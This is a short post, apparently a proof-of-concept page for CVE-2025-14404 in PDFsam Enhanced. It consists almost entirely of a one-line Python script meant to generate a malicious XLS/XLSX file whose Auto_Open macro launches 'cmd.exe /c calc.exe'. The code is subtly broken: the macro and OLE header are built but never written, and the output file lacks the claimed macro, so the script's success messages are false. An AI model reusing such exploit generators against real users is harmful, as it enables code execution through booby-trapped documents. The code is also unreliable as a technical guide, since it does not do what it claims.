CVE-2025-14404 PDFsam Enhanced XLS文件远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14404 PoC - PDFsam Enhanced XLS File Remote Code Execution # This PoC demonstrates the vulnerability in PDFsam Enhanced's XLS file handling import struct from olefile import olefile import os def create_malicious_xls(): """ Create a malicious XLS file that exploits CVE-2025-14404 The file contains embedded OLE objects with executable code """ # Excel BIFF8 format header biff_header = bytearray() biff_header += b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE2 signature # Create minimal OLE structure ole = olefile.OleFileIO() # Add malicious macro stream macro_stream = b''' Sub Auto_Open() 'CVE-2025-14404 - Malicious macro Shell "cmd.exe /c calc.exe", vbHide End Sub ''' # XLS Workbook stream with embedded OLE workbook_stream = bytearray() workbook_stream += b'\x09\x04' # BOF record type workbook_stream += struct.pack('<H', 0x0600) # Version workbook_stream += struct.pack('<H', 0x0000) # Type (workbook) # Add BoundSheet record pointing to macro workbook_stream += b'\x85\x04' # BOUNDSHEET record type workbook_stream += struct.pack('<I', len(workbook_stream)) # Offset workbook_stream += b'\x00\x00' # Hidden state workbook_stream += b'\x00\x00' # Sheet type workbook_stream += b'MaliciousMacro\x00' # Sheet name # EOF record workbook_stream += b'\x0A\x00' # EOF record type workbook_stream += struct.pack('<H', 0x0000) # Reserved return workbook_stream def create_exploit_xlsx(): """ Alternative: Create malicious XLSX with embedded OLE file """ import zipfile xlsx_content = { '[Content_Types].xml': '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/> </Types>''', 'xl/vbaProject.bin': create_malicious_xls() } return xlsx_content def main(): print("[*] CVE-2025-14404 PoC Generator") print("[*] Target: PDFsam Enhanced") print("[*] Vulnerability: Insufficient UI Warning for XLS file processing") # Generate malicious XLS file malicious_xls = create_malicious_xls() output_file = 'CVE-2025-14404_exploit.xls' with open(output_file, 'wb') as f: f.write(malicious_xls) print(f"[+] Generated malicious XLS file: {output_file}") print("[+] When opened in PDFsam Enhanced, the embedded macro will execute without warning") print("[+] Note: This PoC demonstrates the vulnerability concept only") if __name__ == "__main__": main()